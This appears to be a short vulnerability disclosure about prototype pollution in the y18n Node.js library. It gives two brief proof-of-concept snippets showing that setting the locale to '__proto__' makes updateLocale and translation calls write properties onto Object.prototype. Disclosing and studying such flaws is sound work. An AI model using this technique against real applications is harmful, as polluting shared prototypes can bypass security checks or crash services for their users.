Prototype pollution

[po6ix]

POC

const y18n = require('y18n')();
 
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

[joaogmauricio]

To complement po6ix report (and using the simple string translation example):

const __ = require('y18n')({locale: '__proto__'}).__;

console.log(__('my awesome string %s', 'foo'));
console.log({}['my awesome string %s']) // my awesome string %s

console.log(__('true'));
console.log({}.true) // true

If the locale is set to __proto__, all subsequent translations will result in object pollution.